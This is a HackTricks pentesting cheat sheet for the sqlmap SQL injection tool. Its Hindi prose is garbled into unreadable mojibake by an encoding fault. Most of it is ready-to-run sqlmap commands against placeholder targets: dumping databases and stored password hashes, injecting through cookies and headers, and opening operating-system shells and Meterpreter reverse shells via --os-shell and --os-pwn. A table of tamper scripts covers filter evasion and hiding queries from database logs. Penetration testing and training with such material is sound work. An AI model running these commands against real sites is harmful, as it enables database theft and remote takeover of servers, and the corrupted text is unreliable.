hacktricks/pentesting-web/sql-injection/sqlmap.md

15 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

SQLmap рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА рддрд░реНрдХ

рд╕рд╛рдорд╛рдиреНрдп

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдЖрдВрддрд░рд┐рдХ

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB рдбреЗрдЯрд╛

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ рдФрд░ рдПрдХ req.txt рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ

sqlmap -r req.txt --current-user

GET рдЕрдиреБрд░реЛрдз рдЗрдВрдЬреЗрдХреНрд╢рди

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST рдЕрдиреБрд░реЛрдз рдЗрдВрдЬреЗрдХреНрд╢рди

sqlmap -u "http://example.com" --data "username=*&password=*"

рд╣реЗрдбрд░реНрд╕ рдФрд░ рдЕрдиреНрдп HTTP рд╡рд┐рдзрд┐рдпреЛрдВ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

рджреВрд╕рд░реЗ рдХреНрд░рдо рдХрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

рд╢реЗрд▓

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap рдХреЗ рд╕рд╛рде рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рдХреНрд░реЙрд▓ рдХрд░реЗрдВ рдФрд░ рдСрдЯреЛ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░реЗрдВ

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

рдХрд╕реНрдЯрдорд╛рдЗрдЬрд╝рд┐рдВрдЧ рдЗрдВрдЬреЗрдХреНрд╢рди

рдПрдХ рдЙрдкрд╕рд░реНрдЧ рд╕реЗрдЯ рдХрд░реЗрдВ

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

рдЙрдкрд╕рд░реНрдЧ

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

рдорджрдж рдмреВрд▓рд┐рдпрди рдЗрдВрдЬреЗрдХреНрд╢рди рдЦреЛрдЬрдиреЗ рдореЗрдВ

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py рдЕрдкреЙрд╕реНрдЯреНрд░реЛрдл рдЪрд░ рдХреЛ рдЗрд╕рдХреЗ UTF-8 рдкреВрд░реНрдг рдЪреМрдбрд╝рд╛рдИ рд╕рдордХрдХреНрд╖ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
apostrophenullencode.py рдЕрдкреЙрд╕реНрдЯреНрд░реЛрдл рдЪрд░ рдХреЛ рдЗрд╕рдХреЗ рдЕрд╡реИрдз рдбрдмрд▓ рдпреВрдирд┐рдХреЛрдб рд╕рдордХрдХреНрд╖ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
appendnullbyte.py рдкреЗрд▓реЛрдб рдХреЗ рдЕрдВрдд рдореЗрдВ рдПрдиреНрдХреЛрдбреЗрдб NULL рдмрд╛рдЗрдЯ рдЪрд░ рдЬреЛрдбрд╝рддрд╛ рд╣реИ
base64encode.py рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рд╡рд░реНрдгреЛрдВ рдХреЛ Base64 рдореЗрдВ рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ
between.py рдмрдбрд╝реЗ рд╕реЗ рдмрдбрд╝рд╛ рдСрдкрд░реЗрдЯрд░ '&gt;' рдХреЛ 'NOT BETWEEN 0 AND #' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
bluecoat.py SQL рдХрдерди рдХреЗ рдмрд╛рдж рд╕реНрдкреЗрд╕ рдЪрд░ рдХреЛ рдПрдХ рдорд╛рдиреНрдп рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рдЪрд░ = рдХреЛ LIKE рдСрдкрд░реЗрдЯрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
chardoubleencode.py рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рд╡рд░реНрдгреЛрдВ рдХреЛ рдбрдмрд▓ URL-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛
commalesslimit.py 'LIMIT M, N' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'LIMIT N OFFSET M' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
commalessmid.py 'MID(A, B, C)' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'MID(A FROM B FOR C)' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
concat2concatws.py 'CONCAT(A, B)' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
charencode.py рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рд╡рд░реНрдгреЛрдВ рдХреЛ URL-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛
charunicodeencode.py рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рдЧреИрд░-рдПрдиреНрдХреЛрдбреЗрдб рд╡рд░реНрдгреЛрдВ рдХреЛ рдпреВрдирд┐рдХреЛрдб-рдпреВрдЖрд░рдПрд▓-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛)ред "%u0022"
charunicodeescape.py рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рдЧреИрд░-рдПрдиреНрдХреЛрдбреЗрдб рд╡рд░реНрдгреЛрдВ рдХреЛ рдпреВрдирд┐рдХреЛрдб-рдпреВрдЖрд░рдПрд▓-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛)ред "\u0022"
equaltolike.py рдСрдкрд░реЗрдЯрд░ рд╕рдорд╛рди '=' рдХреЗ рд╕рднреА рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рдСрдкрд░реЗрдЯрд░ 'LIKE' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
escapequotes.py рд╕реНрд▓реИрд╢ рд╕реЗ рдЙрджреНрдзрд░рдг рдЪрд┐рд╣реНрдиреЛрдВ рдХреЛ рдПрд╕реНрдХреЗрдк рдХрд░рддрд╛ рд╣реИ ' рдФрд░ "
greatest.py рдмрдбрд╝реЗ рд╕реЗ рдмрдбрд╝рд╛ рдСрдкрд░реЗрдЯрд░ '&gt;' рдХреЛ 'GREATEST' рд╕рдордХрдХреНрд╖ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
halfversionedmorekeywords.py рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рд╕реЗ рдкрд╣рд▓реЗ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд MySQL рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝рддрд╛ рд╣реИ
ifnull2ifisnull.py 'IFNULL(A, B)' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'IF(ISNULL(A), B, A)' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
modsecurityversioned.py рдкреВрд░реНрдг рдХреНрд╡реЗрд░реА рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ
modsecurityzeroversioned.py рдкреВрд░реНрдг рдХреНрд╡реЗрд░реА рдХреЛ рд╢реВрдиреНрдп-рд╕рдВрд╕реНрдХрд░рдгрд┐рдд рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ
multiplespaces.py SQL рдХреАрд╡рд░реНрдб рдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ рдХрдИ рд╕реНрдкреЗрд╕ рдЬреЛрдбрд╝рддрд╛ рд╣реИ
nonrecursivereplacement.py рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд SQL рдХреАрд╡рд░реНрдб рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ (рдЬреИрд╕реЗ .replace("SELECT", "")) рдлрд╝рд┐рд▓реНрдЯрд░
percentage.py рдкреНрд░рддреНрдпреЗрдХ рд╡рд░реНрдг рдХреЗ рд╕рд╛рдордиреЗ рдПрдХ рдкреНрд░рддрд┐рд╢рдд рдЪрд┐рд╣реНрди '%' рдЬреЛрдбрд╝рддрд╛ рд╣реИ
overlongutf8.py рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рд╡рд░реНрдгреЛрдВ рдХреЛ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛
randomcase.py рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рдЪрд░ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдХреЗрд╕ рдорд╛рди рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
randomcomments.py SQL рдХреАрд╡рд░реНрдб рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рдЬреЛрдбрд╝рддрд╛ рд╣реИ
securesphere.py рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХреА рдЧрдИ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬреЛрдбрд╝рддрд╛ рд╣реИ
sp_password.py рдкреЗрд▓реЛрдб рдХреЗ рдЕрдВрдд рдореЗрдВ 'sp_password' рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ DBMS рд▓реЙрдЧ рд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЫрд┐рдк рд╕рдХреЗ
space2comment.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
space2dash.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рдПрдХ рдбреИрд╢ рдЯрд┐рдкреНрдкрдгреА '--' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ '\n'
space2hash.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рдПрдХ рдкрд╛рдЙрдВрдб рдЪрд░ '\#' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ '\n'
space2morehash.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рдПрдХ рдкрд╛рдЙрдВрдб рдЪрд░ '\#' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ '\n'
space2mssqlblank.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рд╡реИрдз рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╕реЗрдЯ рд╕реЗ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
space2mssqlhash.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рдПрдХ рдкрд╛рдЙрдВрдб рдЪрд░ '\#' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ '\n'
space2mysqlblank.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рд╡реИрдз рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╕реЗрдЯ рд╕реЗ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
space2mysqldash.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рдПрдХ рдбреИрд╢ рдЯрд┐рдкреНрдкрдгреА '--' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ '\n'
space2plus.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рдкреНрд▓рд╕ '+' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
space2randomblank.py рд╕реНрдкреЗрд╕ рдЪрд░ ' ' рдХреЛ рд╡реИрдз рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╕реЗрдЯ рд╕реЗ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
symboliclogical.py AND рдФрд░ OR рддрд╛рд░реНрдХрд┐рдХ рдСрдкрд░реЗрдЯрд░реЛрдВ рдХреЛ рдЙрдирдХреЗ рдкреНрд░рддреАрдХрд╛рддреНрдордХ рд╕рдордХрдХреНрд╖ (&& рдФрд░
unionalltounion.py UNION ALL SELECT рдХреЛ UNION SELECT рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
unmagicquotes.py рдЙрджреНрдзрд░рдг рдЪрд░ ' рдХреЛ рдПрдХ рдорд▓реНрдЯреА-рдмрд╛рдЗрдЯ рдХреЙрдореНрдмреЛ %bf%27 рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рд╕рд╛рде рдореЗрдВ рдЕрдВрдд рдореЗрдВ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЯрд┐рдкреНрдкрдгреА рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
uppercase.py рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рдЪрд░ рдХреЛ рдЕрдкрд░ рдХреЗрд╕ рдорд╛рди 'INSERT' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ
varnish.py рдПрдХ HTTP рд╣реЗрдбрд░ 'X-originating-IP' рдЬреЛрдбрд╝рддрд╛ рд╣реИ
versionedkeywords.py рдкреНрд░рддреНрдпреЗрдХ рдЧреИрд░-рдХрд╛рд░реНрдп рдХреАрд╡рд░реНрдб рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд MySQL рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ
versionedmorekeywords.py рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд MySQL рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ
xforwardedfor.py рдПрдХ рдирдХрд▓реА HTTP рд╣реЗрдбрд░ 'X-Forwarded-For' рдЬреЛрдбрд╝рддрд╛ рд╣реИ

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}